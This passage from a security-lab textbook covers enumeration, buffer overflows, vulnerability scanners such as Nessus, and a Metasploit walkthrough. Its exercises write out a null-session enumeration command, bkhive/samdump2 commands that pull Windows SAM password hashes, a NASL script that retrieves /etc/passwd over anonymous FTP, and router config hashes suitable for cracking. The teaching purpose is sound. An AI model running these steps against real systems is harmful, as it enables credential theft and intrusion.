Copying it to the system and scheduling it to run at a predetermined
time; for example, with the AT command.
Exploiting interactive access to the system; for example, with Terminal
Server, PC Anywhere, or the like.
It’s important to realize that the exploit code used to gain access is limited
by type and version of software. As an example, exploits written for Windows
NT typically won’t work against Linux systems, nor will they typically work
against other versions of Windows. Therefore, these exploits only work for
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specific versions of the Windows OS. Microsoft does patch these vulnerabilities
after they are publicized. A few examples of exploit code are listed here:
Billybastard.c — Windows 2003 and XP
Getad — Windows XP
ERunAs2X.exe — Windows 2000
PipeupAdmin — Windows 2000
GetAdmin — Windows NT 4.0
Sechole — Windows NT 4.0
Buffer Overflows
Buffer overflows are a common attack vector. For a buffer overflow attack to
work, the target system has to have two vulnerabilities: a lack of boundary
testing in the code, and a machine that executes the code resident in the data
or stack segment. Once the stack is smashed, the attacker can deploy his or her
payload and take control of the attacked system. Many of the vulnerabilities
discovered and cataloged each year occur because of buffer overflows. For
a buffer overflow attack to be successful, the objective is to overwrite some
control information to change the flow of the control program. Smashing the
stack is the most widespread type of buffer-overflow attack. One of the first
in-depth papers ever written on this was by Aleph One, ‘‘Smashing the Stack
for Fun and Profit.’’ It was originally published by Phrack magazine, and can
be found at www.insecure.org/stf/smashstack.txt.
Buffer overflows occur when a program puts more data into a buffer than
what it can hold. Buffers are used because of the need to hold data and variables
while a program is running. When a program is executed, a specific amount
of memory is assigned to each variable. The amount of memory reserved
depends on the type of data the variable is expected to hold. The memory is
set aside to hold those variables until the program needs them. These variables
cannot just be placed anywhere in memory. There has to be some type of
logical order. That function is accomplished by the stack. A typical program
may have many stacks created and destroyed, because programs can have
many subroutines. Each time a subroutine is created, a stack is created. When
the subroutine is finished, a return pointer must tell the program how to return
control back to the main program.
For the attacker to do anything more than crash the program, he must be
able to precisely tweak the pointer. Here is why: If the attacker understands
how the stack works and can precisely feed the function the right amount
of data, he can get the function to do whatever he wants, such as opening
Advanced Enumeration
a command shell. Tweaking the pointer is no small act. The attacker must
precisely tune the type and amount of data that is fed to the function. The
buffer will need to be loaded with the attacker’s code. This code can be used
to run a command or execute a series of low-level instructions. As the code
is loaded onto the stack, the attacker must also overwrite the location of the
return pointer.
Stack smashing isn’t the only kind of buffer-overflow attack. There are also
heap-based buffer overflows. A heap is a memory space that is dynamically
allocated. Heap-based buffer overflows are different from stack-based buffer
overflows, since the stack-based buffer overflow depends on overflowing a
fixed-length buffer. The best defenses against buffer overflows include the
following:
Auditing existing code to search for vulnerabilities
Using type-safe languages to prevent buffer overflows from becoming a
problem
Using tools that can protect against buffer overflows or halt erratic
activity
Analyzing the source code for strings declared as local variables in functions or methods, and verifying the presence of boundary checks
Checking for improper use of standard functions, such as input/output
functions or string functions
Feeding the application with huge amounts of data and checking for
abnormal behavior
IN THE LAB
There is a real risk any time that an attacker can get a password to a system.
During pen test exercises I have seen many times when a low-level user
account has had the same password as a domain administrator. Many of us are
guilty of reusing passwords. Good password practices and not using the same
passwords on multiple accounts is a good start in reducing this vulnerability.
However, you must also understand how passwords are passed across the
network. You can see this in action in your lab by downloading ScoopLM. It is
available at www.securityfriday.com/tools/ScoopLM.html. After
downloading and installing ScoopLM, start the program on your local Windows
computer. While the program attempts to connect to a share on another system
by providing a username and password, you should see this information
populate the ScoopLM program. You can use the same program to attempt to
crack the password or you can move it to another application, such as John the
Ripper or Cain & Abel. Whichever password-cracking program you use, you will
notice that weak passwords are recovered quite quickly.
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Summary
The purpose of this chapter was to introduce you to the process of enumeration.
Enumeration is a critical step for the attacker as he is attempting to identify the
services, protocols, and applications that are being used. Security professionals
should enumerate their own networks to see what type of information is
available. Just consider the fact that no attack occurs in a void. If the attacker
wants to attack the network, he/she must first know what services, protocols,
and applications are available.
Consider the attacker with the latest Windows 2003 buffer overflow or
malware. The malware is useful only against Windows 2003 system. This
means the attacker must enumerate active systems and identify which one is
running the vulnerable code. Enumeration is also useful to the attacker if it
can be used to gather usernames or open shares. If the attacker can identify
a local account that is also a domain administrator account, imagine his joy
upon finding out that both the local and domain passwords are the same.
That is why services and protocols such as NetBIOS, SNMP, and others are
of so much value to the attacker. Even when passwords cannot be guessed,
just the username and certain (potentially identifiable) specific attributes about
the user may provide sufficient information to launch a successful dictionary
attack.
These are but a few of the reasons why security professionals must attempt
to enumerate their own networks. The best place to practice these activities is
in the lab environment. This chapter clearly identified the types of information
that may be exposed in the real world. Security professionals should take heed
and consider how to reduce the amount of information, prevent unauthorized
enumeration, and mitigate attack vectors that may be exploited because of the
inevitability of some enumeration. Although many find it easier to be reactive,
true security requires a proactive approach.
Key Terms
Active Directory — Windows implementation of a hierarchical directory
service that is LDAP compliant.
Brute-force attack — A method of breaking a cipher or encrypted value
by trying a large number of possibilities. Brute-force attacks function by
working through all possible values. The feasibility of brute-force attacks
depends on the key length and strength of the cipher and the processing
power available to the attacker.
Exercises
Buffer overflow — Occurs when a software application somehow writes
data beyond the allocated end of a buffer in memory. Buffer overflow
is usually caused by software bugs and improper syntax and programming, thus opening or exposing the application to malicious code
injections or other targeted attack commands.
Dictionary attack — A method of breaking a cipher or encrypted value
by trying all the words in a dictionary file.
Hybrid attack — A method of breaking a cipher or encrypted value by
trying all the words in a dictionary file that are mixed with numbers and
special characters.
NetBIOS — Frees up applications so they do not have to understand the
operation of the network and that different programs on different computers can communicate within a local area network.
RainbowCrack technique — A method of precomputing password
hashes that speeds up the password cracking process but requires massive amounts of storage.
Relative identifier — Uniquely identifies an account within a Windows
domain.
Security identifier — A unique alphanumeric character string that identifies a system to other systems in a Microsoft domain.
Server Message Block — A Windows protocol that allows the system to
share files.
Simple Network Management Protocol — A standardized protocol that
is used to allow the management of network devices and equipment.
Exercises
This section presents several hands-on exercises to help reinforce your knowledge and understanding of the chapter. The author selected the tools and
utilities used in these exercises because they are easily obtainable. The goal is
to provide you with real hands-on experience.
SNMP Enumeration
This exercise demonstrates how to use the SolarWinds IP Network Browser to
display information gathered from active SNMP devices:
1. You need to install SolarWinds IP Network Browser. The tool is part of
the SolarWinds Network Tool Kit and can be downloaded from www.
solarwinds.com/downloads.
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Figure 5-13 Installing SNMP services.
2. Next you need to start SNMP on a local Windows system to ensure you
have something to capture. Start SNMP by going to Start ➪ Settings ➪
Control Panel ➪ Add Remove Programs ➪ Add Windows Components
➪ Network Management Tools ➪ Simple Network management Protocol,
as shown in Figure 5-13.
3. Once SNMP is installed, install the SolarWinds network management
tools. After the installation has completed, start the IP network browser.
4. You will be prompted to enter an IP address and network range, as
shown in Figure 5-14. As an example, I entered the 192.168.131.67 address
and a subnet mask of 255.255.255.0 (because this is a Class C network).
5. Now click the Next button. You will be asked to enter any additional
community strings. Note that the default strings of Public and Private
have already been entered. These are all that are needed, so you just click
Next and start the scan.
Exercises
Figure 5-14 IP Network Browser.
Figure 5-15 IP Network Browser results.
6. When the scan starts, you will notice that the program gathers a wide
range of information, as shown in Figure 5-15. Notice how the usernames
display. These are visible even if the Windows Restrict Anonymous settings have been put in place.
7. You may now scan other systems within your lab network, to further see
the types of information that can be leaked by this service, if SNMP has
been enabled.
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Enumerating Routing Protocols
This exercise demonstrates how to sniff for router traffic by using the tool Cain
& Abel:
1. Download and install Cain & Abel from www.oxid.it.
2. Once downloaded, Cain & Abel may ask you to install WinPcap if it
has not already been installed on your local Windows computer.
3. Start Cain & Abel and choose the Sniffer tab.
4. While on the Sniffer tab, start the capture by clicking the Start/Stop Sniffer button. Make sure that you are on the routing tab that is displayed at
the bottom of the page.
Routing updates can take several minutes to occur, so a brief delay
might occur while the program captures the information.
Figure 5-16 displays a RIP routing capture from 192.168.123.118. Notice
the update is in RIP and RIPv2.
Figure 5-16 Cain routing capture.
Exercises
5. Double-click the update to display the routing information. A portion of
this capture is shown here:
version 11.3
no service password-encryption
!
hostname Router1
!
username james password 7 107C060C1112
enable secret 5 $1$zUmf$qKycvrf5cW.AUMl9XJjgR0
!
ip domain-name thesolutionfirm.com
ip name-server 192.168.123.66 192.168.123.194
ip multicast-routing
ip dvmrp route-limit 1000
!
interface Ethernet0
ip address 192.168.123.118 255.255.255.0
6. Notice how the encrypted password is shown as a type 7 and an MD5.
These passwords could potentially be loaded into Cain & Abel’s password cracker, where a crack may be possible.
Enumeration with DumpSec
This exercise demonstrates how to use DumpSec to enumerate a Windows
computer:
1. Download and install DumpSec from www.somarsoft.com.
2. Once it’s installed, open a command prompt and establish a null session to a local host. The command syntax for doing so is as follows:
net use //IP address/IPC$ "" \u:""
3. Now open DumpSec and select Report ➪ Select Computer, as shown in
Figure 5-17.
Figure 5-17 DumpSec’s Select Computer.
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Figure 5-18 DumpSec’s Dump Users as Table.
Figure 5-19 DumpSec’s enumeration results.
4. Now select Report ➪ Dump Users as Table, and click OK.
5. You need to select all items to the left of the screen and move them to the
right screen so that all fields will be selected, as shown in Figure 5-18.
6. Click the OK button, and all the open fields will be populated. Notice
that you now have a complete list of users and related information, as
shown in Figure 5-19.
Exercises
Rainbow Table Attacks
In this exercise, you use BackTrack to extract the SAM from a Windows system:
1. Edit your Windows computer BIOS to boot from the CD-ROM that contains the BackTrack bootable CD.
2. Start Windows, and press F2 or the Del key to enter BIOS, and ensure
that the computer is configured to boot from the CD-ROM. After making
this change, continue to boot from BackTrack.
3. After BackTrack has booted, log back in by using a username of root and
a password of toor. Verify that there is an entry for the NTFS drive by
entering the mount command without parameters. There should be an
entry for /mnt/hda1. If no entry is present, create one as follows:
mount /dev/hda1 /mnt/hda1
4. To read the contents of the drive, simply enter the following:
ls /mnt/hda1
5. You can now explore the Windows XP partition. For example, you
should be able to access the windows\system32\config directory. This is
where the SAM file is located.
6. The system key is the registry hive file and contains the subkey of the
SAM. To copy this information and put it into a file, use the following
command:
bkhive /mnt/hda1/windows/system32/config/system
saved-syskey.txt
7. Now that you have the system key, use it to undo SysKey on the SAM,
extract the hashes, and place them into a usable format. The command is
shown here:
samdump2 /mnt/hda1/windows/system32/config/sam
password-hashes.txt
saved-syskey.txt >
8. Now you have a copy of the SAM that can be used for password cracking. You can view it by entering the cat command as follows:
cat password-hashes.txt
Whereas in this exercise the hash could be cracked locally, in real life the
attacker would most likely take the hash with him and crack it on another
system. If it is a strong password, the attacker (or security specialist in the lab)
might need a significant amount of time to crack it.
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6
Automated Attack and
Penetration Tools
This chapter introduces automated attacked and penetration tools and delves
into the topics of vulnerabilities, risk, and exploits. A vulnerability is nothing
more that a weakness in the computer software or design of the system.
Software vulnerabilities typically result from coding errors, bugs, and design
flaws.
Security professionals spend a lot of their time on vulnerabilities, but that
doesn’t mean that all vulnerabilities are always addressed and corrected.
Consider, for instance, the analogy of a defective car. Years ago, my brother
was given a Ford Pinto for a graduation present. While pleased at the time,
my family soon discovered that this car was subject to explosion if hit from the
rear. This defect in the design forced Ford Motor Company to recall all these
cars and remove them from the market. Compare this to buying a piece of
software, only later to find that the software has a defect in design. What are
your options? As you most likely already know, you are at the mercy of the
developer to develop a patch or update it. If the software is already a couple of
years old, as the case with the 1972 Ford Pinto, the software developer might
have decided to no longer support the software, leaving you with the option
of continuing to use vulnerable software or spend money on an upgrade.
The concept behind attack and penetration tools is to look at how vulnerable
a piece of software, an application, or a networked system is. Historically, the
only tools to perform such tasks were vulnerability assessment tools. These
tools typically probe for vulnerabilities and report their findings. Newer tools
not only have the ability to scan the network and identify vulnerabilities; they
can also tie that vulnerability back to a specific piece of exploit code and launch
an attack against the identified target.
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Why Attack and Penetration Tools Are Important
How do attack and penetration tools fit into network security? All different
types of penetration tools, from simple vulnerability scanners to automated
attack tools, help analyze overall security and analyze how well the organization’s assets are protected. Use of these tools can help answer the following
questions:
Should more or fewer security countermeasures be implemented?
What is the organization’s true security posture?
What would the effect of a security breach be?
No matter which of these tools are used, their purpose is to determine the
adequacy of security measures, identify security deficiencies, provide data
from which to predict the effectiveness of potential security measures, and
confirm the adequacy of such measures after implementation. These tools can
be used in many different situations, such as the following:
Audits and reviews — During these processes, tools are used to
determine whether systems are properly patched, whether specific
security policies and requirements are being followed, and whether the
controls sufficiently guard against potential risk.
Network evaluations — These processes focus specifically on scanning, vulnerability assessment scanning, and other system-related
activity.
Penetration tests — Penetration tests are much less concerned with
policies and procedures and are more focused on finding exposed systems and vulnerable targets. Ethical hackers conduct penetration tests to
determine what an attacker can find out about an information system, if
a hacker can gain and maintain access to the system, and if the hacker’s
tracks can be successfully covered without being detected. Ethical hackers operate with the permission and knowledge of the organization they
are trying to defend, and try to find weaknesses that can be exploited in
the information system.
Vulnerability Assessment Tools
Much has changed with regard to how we view vulnerability assessment
software since its creation in the early 1990s. At that time, two well-known
security professionals, Dan Farmer and Wietse Venema, wrote a landmark
paper titled ‘‘Improving the Security of Your Site by Breaking into It.’’ They
went on to code the first automated penetration tool, known as SATAN (System
Vulnerability Assessment Tools
Administrator Tool for Analyzing Networks). Dan Farmer was actually fired
from his job at Sun for development of the program.
Today, attack and penetration tools are viewed much differently. It’s generally agreed that security professionals must look for vulnerabilities in their
own networks and seek ways to mitigate the exposures they uncover. This
brings us to the question of what vulnerability assessment tools someone needs
in his or her own network security lab. With so many tools available, where
do you begin? Let’s start by looking at how these tools can be categorized. The
three basic categories are as follows:
Source code assessment tools examine the source code of an application.
Application assessment tools examine a specific application or type of
application.
System assessment tools examine entire systems or networks for configuration or application-level problems.
THE IMPORTANCE OF VULENRABILITY ASSESSMENTS
It’s unfortunate that sometimes we tend to be more reactive than proactive.
When considering vulnerability assessment, it pays to be proactive.
Unfortunately, CardSystems Solutions found out the hard way after a hacker
successfully stole information about approximately 40 million credit card users
from their database. An assessment after the attack revealed a software
vulnerability that was quickly patched. It was also discovered that although
they had policies in place that stated such information was not supposed to be
retained in their databases, it had been. CardSystems allegedly broke Visa and
MasterCard policies that prohibit storing confidential consumer information.
They now face a class-action lawsuit. Among other things, the suit claims they
violated policy and practiced unlawful and deceptive business practices under
California’s Unfair Competition Law.
Source Code Assessment Tools
Source code assessment tools can be used to assist in auditing security
problems in source code. Many of these tools are available for free. Rough
Auditing Tool for Security (RATS) and FlawFinder are two such tools. Source
code vulnerability assessment software can detect problems such as buffer overflows, race conditions, privilege escalation, and tainted input. Buffer
overflows allow data to be written over portions of your executable, which can
allow a malicious user to potentially gain operational control of a system. Race
conditions can prevent protective systems from functioning properly, or deny
the availability of resources to their rightful users. Privilege escalation occurs
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when code runs with higher privileges than that of the user who executed it.
The tainting of input allows potentially unchecked data to enter through your
defenses, possibly qualified as already-error-checked information.
Application Assessment Tools
Application assessment tools provide testing against completed applications
or components rather than the source code. They scan applications for vulnerabilities that occur at run time and test such issues as user input and
bounds testing. Application assessment tools aren’t just useful for security
testing either, but the amount of time that you can save by using automated
bounds-testing software and so forth can be amazing. AppDetective is an
example of one of these programs. AppDetective can scan, locate, examine,
report, and fix security holes and misconfigurations in database applications.
Another application assessment tool is N-Stalker Web Application Security
Scanner. You’ll get a chance to see how this program works in the lab section
of the chapter. It is designed to specifically test web application security.
System Assessment Tools
The vulnerability assessment tools in this final category are designed for the
system level. These programs are intended for probing systems and their
components rather than individual applications. These programs can be run
against a single address or a range of addresses and can also test the effectiveness of layered security measures, such as a system running behind a firewall.
Nessus is an example of a well-known system assessment tool.
The primary advantage of system-level assessment tools is that they can
probe an entire local or remote system or network for a variety of vulnerabilities. If you need to test a large number of installations, remote system-level
scanners can prove much more efficient than auditing the configuration of
each machine individually. System assessment tools do have their disadvantages, however. For example, it is not possible to audit the source of the
processes that are providing services. In addition, scanning results have to
rely on the responses of a service to a finite number of probes, meaning that
all possible inputs cannot be reasonably tested. If the production environment
of your organization is experiencing services unexpectedly coming online or
going offline, you might run a system-level assessment tool to see whether
the cause of the problem can be detected. In another example, if the target
system has been patched or experienced other recent upgrades, you might run
a system-level tool, such as Nessus, to double-check everything.
A search of the Internet will reveal hundreds of system assessment tools.
Some of the better-known ones are shown here:
GFI LANguard — This is a commercial network security scanner for
Windows. It scans IP networks to detect which machines are running.
Vulnerability Assessment Tools
It can determine the host operating system, which applications are running, which Windows service packs are installed, whether any security
patches are missing, and more.
ISS Internet Scanner — This is an application-level vulnerability assessment. Internet Scanner can identify more than 1,300 types of networked
devices on your network, including desktops, servers, routers/switches,
firewalls, security devices, and application routers.
MBSA — Microsoft Baseline Security Analyzer is built on the Windows
Update Agent and Microsoft Update infrastructure. It ensures consistency with other Microsoft products and, on average, scans more than
three million computers each week.
NetRecon — A commercial scanner produced by Symantec. It provides
vulnerability scanning and identification. It can learn about the network
as it is scanning. As an example, if it finds and cracks a password on
one system, it tries the same password on others. The application has a
graphical user interface (GUI), and its deployment platform is Windows
NT/2000/XP.
Retina — Retina is a commercial vulnerability assessment scanner by
eEye. Like Nessus, Retina scans all the hosts on a network and reports on
any vulnerability found. Retina has a GUI and its deployment platform
is Windows NT/2000/XP/2003.
QualysGuard — This is a web-based vulnerability scanner. Users can
securely access QualysGuard through an easy-to-use web interface. It
features more than 5,000 vulnerability checks as well as an inferencebased scanning engine.
SARA — Security Auditor’s Research Assistant features a commandline interface and web-based GUI. It is a freeware application. Instead of
inventing a new module for every conceivable action, SARA is adapted
to interface with other open source products. It’s considered a gentle
scanner, which means that the scan does not present a risk to the operating network infrastructure. It’s compliant with SANS Top 20, supports
CVE references for identified vulnerabilities, and can be deployed on
Unix, Linux, and Mac OS X.
SAINT — Security Administrator’s Integrated Network Tool is a commercial vulnerability assessment tool. It provides industry-respected
vulnerability scanning and identification. It has a web-based interface,
and the deployment platforms for this product are Linux and Unix. It
is certified CVE compliant and enables you to prioritize and rank vulnerabilities so that you can determine which of the most critical security
issues should be tackled first.
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VLAD — An open source vulnerability scanner. Written in Perl, VLAD
is designed to identify vulnerabilities in the SANS Top 10 List. It has
been tested on Linux, OpenBSD, and FreeBSD.
X-Scan — X-Scan is a general multithreaded plug-in-supported network vulnerability scanner. It can detect service types, remote operating
system types and versions, and weak usernames and passwords.
One question that typically arises when determining which tool to use
is what the attributes of a good system assessment tool are. Let’s look at
that next.
Attributes of a Good System Assessment Tool
As mentioned previously, there are lots of tools to choose from and consider
when you are building your own security lab. Some are open source or free,
whereas others require payment or subscription fees. Regardless of what
specific tool you choose, you must look for some specific features that can help
you in the decision process.
One of the first things you need to consider is the type of impact the
tool has on the network. For anyone who has previously used these tools,
you will most likely remember that testing might have been done during
off-hours or on the weekend. The reason why is because of the amount of
traffic the tool generated. For anyone who has ever hunted, you can compare
these vulnerability assessment tools to rifles. Some assessment tools are like a
single-silenced sniper rifle shot, whereas others are like the multiple blasts of
a shotgun. A good scanning tool will be much like the sniper rifle because it
will be low impact and not use excessive amounts of network bandwidth.
Another consideration is how the tool affects the systems being scanned.
As an example, Nessus has what are referred to as dangerous plug-ins. Some
systems don’t respond well to certain types of scans. If scans are going to cause
systems to halt, freeze, or reboot, you need to know this well ahead of time to
ward off any self-induced disasters.
Another item worth considering is what or how many types of vulnerabilities the software will detect. This can be a difficult attribute to accurately
measure because different vendors measure the numbers differently. One
vendor may claim that its software can scan for 5,000 vulnerabilities, while
another may claim that its can scan for 7,000. Is the second vendor’s product
really any better? Well, that depends on how they are measuring the numbers.
Consider one, Common Vulnerability and Exposure (CVE-2007-3898). This particular Microsoft vulnerability affects DNS, yet actually CVE lists more than 40
different Microsoft products or versions that are affected. So was this counted
as 1 vulnerability or as 40? That might well depend on how the vendor has
decided to market its product.
Vulnerability Assessment Tools
You also want to consider by what means the software examines each
system. Some software tools do not authenticate before performing various
checks. This is good in the sense that the tool is looking at the system in
much the same way an attacker would, but a good assessment tool will also
perform checks while being authenticated. In reality, remember that it’s not
just the outsider who is a threat but also the insiders. For an assessment to do
a thorough job of testing, an authenticated connection is required. This allows
the tool to check system settings, file variables, and other settings that cannot
be verified with authentication.
Finally, there is the issue of reporting. After a scan is finished and the
software has compiled its findings, you need to create a report. After all, this
is why you ran the assessment tool: so that you can analyze and report your
findings. To that end, the software you choose should provide a report that
is easy to prepare and contains all the pertinent information. Many products
will list the vulnerability as high, medium, or low and have the corresponding
CVE number. Others even point to possible fixes or may offer a way to perform
tracking. Now let’s turn our attention to one specific tool, Nessus.
Nessus
Nessus is an open source, comprehensive, cross-platform vulnerability scanner
with command-line and graphical user interfaces. It is one of the most popular
vulnerability assessment tools currently in use. While you can still download a
copy of Nessus from www.tenablesecurity.com, the update process changed
several years ago. Tenable Network Security has structured the program so
that real-time plug-in updates require a fee. The idea is that those who pay a
fee will get real-time plug-in updates, whereas those who register will receive
updates that are a week old. There also continues to be a feed that is available
to the public. This plug-in option makes plug-ins available that have been
written by the general public.
The concept of Nessus was first developed in the late 1990s by Renaud Deraison. Nessus was conceived as an open source program that would allow fast
updates by community members who can develop their own plug-ins for their
use or by the community. I would consider Nessus a must-have for anyone
building a network security lab. Just consider the other commercial offerings
that use Nessus as a component of their product: IBM, VeriSign, Counterpane
Internet Security, Symantec, ScannerX. These are just a few of the companies
that have integrated Nessus into their products. Others currently do or have
used Nessus as a component of a commercial product they offer. Nessus is a
powerful, flexible security-scanning and -auditing tool. It takes a basic ‘‘nothing for granted’’ approach. For example, an open port does not necessarily
mean that a service is active. Nessus tells you what is wrong and provides
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suggestions for fixing a given problem. Let’s take a look at the basic components
of Nessus:
The Nessus client/server model
The Nessus plug-ins
The Nessus Knowledge Base
The Nessus client-server model offers a distributed means of performing
vulnerability scans. As an example, suppose that you are building your security
lab and your goal is to offer security consulting services. After signing your
first contract, you show up at the client’s site with your trusty laptop. After
obtaining permission to scan the target range, you fire up your nondistributed
scan. Because all tests are being performed from your laptop, there is not much
else you can do for the next two to three hours except wait because the scan
will most likely use up all the laptop’s resources. Now, let’s replay that same
situation but with a slight modification. You again make an on-site visit to
your client’s location, but this time you have the Nessus client loaded on your
laptop. You arrive at the worksite and are given permission to scan. You use
your laptop as the Nessus client to connect to the Nessus server back at your
home office. Once you connect to the Nessus server, you begin an external
scan and then detach your laptop. Figure 6-1 shows an example of this.
Consultant’s
Network
Internet
Nessus
Server
Customer’s
Network
Firewall
DMZ
Web server
Router
Consultant’s Laptop
Nessus Client
Figure 6-1 Nessus Client/Server Model.
Vulnerability Assessment Tools
Now you can continue your onsite duties and maybe review some documentation, observe system demonstrations, and even interview key personnel.
While all these activities are taking place, the scan continues to move forward,
and when you return to your home office later that night, the report is waiting
for your review. Another advantage of this approach is scalability. A customized server with plenty of processing power and memory is going to be
much better equipped to handle the scan than a laptop, and the results should
be available much sooner. This is the power of the client/server model.
One item that does need to be considered when working with a client/server
model is encryption. Encryption should almost always be used. When using
encryption, you can choose from Transmission Layer Security (TLS) or Secure
Sockets Layer (SSL). About the only exception would be when the client and
server are on the same system. This would mean the Nessus server is listening
on 127.0.0.1. In the previous example where the Nessus server is outside the
network, you want to make sure to use encryption. The last thing you want to
do is provide an attacker with access to unencrypted Nessus traffic; that could
be potentially sniffed and analyzed. There is no reason to cut short your security
career when it is only beginning. While on the subject of encryption, another
consideration is authentication. Make sure that access to the Nessus server
is controlled and only accessible by approved personnel. Nessus supports
certificate-based authentication. This gives the administrator the ability to
integrate Nessus into the organization’s current public key infrastructure (PKI).
The Nessus plug-ins are another key component of the design of Nessus.
Plug-ins enable users to create their own signatures for vulnerability checks.
Plug-ins are created with Nessus Attack Scripting Language (NASL). According to the creator of NASL, Renaud Deraison, ‘‘NASL is designed to allow anyone to write a test for a given security hole in a few minutes, to allow people
to share their tests without having to worry about their operating system,
and to guarantee everyone that a NASL script can not do anything nasty
except performing a given security test against a given target.’’ NASL is
designed in such a way that it is similar to C, but the sandbox design prevents
the plug-ins from doing anything malicious. Shown here is an example of
NASL as described in the Nessus Attack Scripting Language Reference Guide at
www.virtualblueness.net/nasl.html:
#
# WWW
#
if(is cgi installed("/robots.txt")){
display("The file /robots.txt is present\n");
}
if(is cgi installed("php.cgi")){
display("The CGI php.cgi is installed in /cgi-bin\n");
}
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if(!is cgi installed("/php.cgi")){
display("There is no ’php.cgi’ in the remote web root\n");
}
#
# FTP
#
# open a connection to the remote host
soc = open sock tcp(21);
# Log in as the anonymous user
if(ftp log in(socket:soc, user:"ftp", pass:"joe@"))
{
# Get a passive port
port = ftp get pasv port(socket:soc);
if(port)
{
soc2 = open sock tcp(port);
data = string("RETR /etc/passwd\r\n");
send(socket:soc, data:data);
password file = recv(socket:soc2, length:10000);
display(password file);
close(soc2);
}
close(soc);
}
NASL shares information through the Knowledge Base. The Nessus Knowledge Base allows developers of current and future plug-ins to leverage the
information gained from previous plug-ins. Consider for example that an
existing plug-in has the ability to execute and find Microsoft IIS running on
a targeted host. The plug-in then sets the Knowledge Base variable to IIS
5.0 with Internet Printing Protocol (IPP) running. If someone writes a new
plug-in, it can take the previous information as a variable and potentially check
to see whether IPP has any vulnerabilities. You can find out more about the
Knowledge Base at www.edgeos.com/nessuskb. Figure 6-2 shows an example
of the search page found there.
Nessus supports many types of plug-ins. These range from harmless to
those that can bring down a server.
Now that you have had an overview of Nessus, let’s turn our attention to how
Nessus works by performing a step-by-step review. Here are the basic steps:
1. Inventory network devices.
2. Identify targets.
3. Create a plug-in policy.
4. Launch a scan.
5. Analyze the reports.
6. Remediate and repair.
Vulnerability Assessment Tools
Figure 6-2 Nessus Knowledge Base.
The first item that is required is that you have completed an inventory
of network devices. As crazy as it seems, you cannot adequately search for
vulnerabilities until you have a list of all network devices. Chapter 4 discusses
some of the ways in which live system can be found logically, including ping
sweeps and port scans.
Most networks are rather large, so instead of trying to scan an entire
network, classify the hosts into groups and scan each group. Just from the data
standpoint, this will make the job easier because you will have such a massive
amount of data to review. Before scanning, make sure that you have identified
the proper range and make sure you have permission to scan. Figure 6-3 shows
an example of target selection.
The next step is to create a plug-in policy. The plug-in policy is where you
define what types of scan you will perform. An example of the plug-in options
is shown in Figure 6-4. Plug-ins can be rather benign or dangerous. Dangerous
plug-ins can crash a computer. That is something that needs to be considered
before you start the scan.
Launching a scan is the next step. This actually is nothing more than clicking
the Start button at the bottom of the Target Selection tab. In a real network,
it is never that easy because there are many items to be considered. One such
consideration is the Knowledge Base, which is shown in Figure 6-5.
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Figure 6-3 Target selection.
Figure 6-4 Plug-in options.
Vulnerability Assessment Tools
Figure 6-5 Knowledge Base.
Analyzing the report is the next step, and this is another place where Nessus
does a good job of placing all the needed information in one place. What
should be remembered is that no assessment tool is perfect, so findings do
need to be verified. The standardized report is easily customizable. Figure 6-6
shows an example of this.
Now the last (and what some may feel is the hardest) step is remediate
and repair. Most vulnerability assessment tools like Nessus offer remediation
advice, and although the tools discussed in this book have proven to be
accurate, your mileage may vary. Therefore, carefully research all remediation
plans before taking any action. You will also want to have a clearinghouse of
vulnerabilities discovered. Set times for remediation and assign individuals to
tasks where accountability can be maintained.
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Figure 6-6 Nessus report.
Although this part of the chapter has focused on Nessus, there are literally
hundreds of vulnerability assessment tools on the market. A simple Google
search of the term will give you pages of returns. To make some sense of
all these results, what follows is a discussion of some of the better-known
vulnerability assessment tools. For a complete list of the top vulnerability
assessment and other security tools, check out http://sectools.org/ to learn
more about the top 100 security programs.
Automated Exploit Tools
IN THE LAB
The risk to vulnerable applications is real. Even with controls like firewalls in
place, vulnerable applications can be attacked. The attack may come from an
email attachment or from a malicious insider. The best way to mitigate this risk
is by identifying and patching or removing vulnerable applications. In the lab,
you can use AppDetective to scan databases for weakness, misconfigurations,
and vulnerabilities. You can download an evaluation copy of AppDetective from
www.appsecinc.com/products/appdetective. After downloading and
installing AppDetective, you will be able to run the program in one of two
modes, audit and pen test. Audit mode is powerful in that you can log in to the
database and allow the program to do a deep inspection, looking for many
different types of security violations. Pen test mode enables you to examine the
application from the outside, much like an attacker would. Both modes offer a
detailed list that specifies the problems found and how to go about fixing them.
Automated Exploit Tools
Now let’s take a look as some advanced vulnerability assessment tools that can
be used to automate the identification and exploitation of vulnerable services.
We will look first at Metasploit.
Metasploit
The year 2003 marked a change in vulnerability assessment tools. That was
when Metasploit was first released. It is notable because Metasploit was the
first open source tool of its kind. The best way to understand the full power of
the tool is to download it. It is available at www.metasploit.com.
According to the Metasploit web site ‘‘the Metasploit Framework is a development platform for creating security tools and exploits. The framework is
used by network security professionals to perform penetration tests, system administrators to verify patch installations, product vendors to perform
regression testing, and security researchers worldwide.’’ Therefore, what you
can see is that Metasploit is an attack platform. It follows a basic approach:
1. Selecting the exploit module to be executed
2. Choosing the configuration options for the exploit options
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3. Selecting the payload and specifying the payload options to be entered
4. Launching the exploit and waiting for a response
Metasploit has three basic ways that it can be controlled:
The msfweb — A simple point-and-click interface
The msfconsole — A console-based interface
The msfcli — A command-line interface
Metasploit Web
The msfweb interface is a standalone web server that allows the user to run
Metasploit through a web browser. If the program has been loaded with
default values on a Windows system, you will want to go to Start ➪ Programs
➪ Metasploit ➪ MSFWEB. This will open a command prompt that will display
the web variables as follows:
Metasploit Framework Web Interface (127.0.0.1:55555)
You will want to use the variables and enter them into your web browser,
as shown in Figure 6-7.
With these variables typed into the web browser, you will be taken to the
Metasploit start page, as shown in Figure 6-8.
Figure 6-7 Metasploit MSFWEB.
Figure 6-8 Metasploit web start page.
Automated Exploit Tools
Figure 6-9 Metasploit web Microsoft exploits.
As shown in Figure 6-8, you will see the Metasploit logo. Below that are the
three primary options that Metasploit offers:
Exploits
Payloads
Sessions
The Exploits page is where you are by default and contains a list of all
included exploits. As of the publication of this book, Metasploit contains 191
exploits. Toward the middle of the page, you will notice a pull-down box
labeled Filter Modules. This option allows you to focus on just the exploit you
need; for example, you may choose Microsoft so that only Microsoft exploits
are listed, as shown in Figure 6-9.
The next step is to choose one of the displayed exploits. In this case, I select
the IIS 5.0 Internet Printer Protocol (IPP) Buffer Overflow. This exploit will
work against unpatched Windows 2000 servers running IIS. Selecting this
exploit will take you to an informational page that lists more information
about the exploit, as shown in Figure 6-10.
This page includes information about the name of the exploit, the author,
the architecture of the system the exploit will work against, an OS field,
and a description field that lists general details of the exploit and its use.
When attempting to launch an exploit, it is important to make sure that the
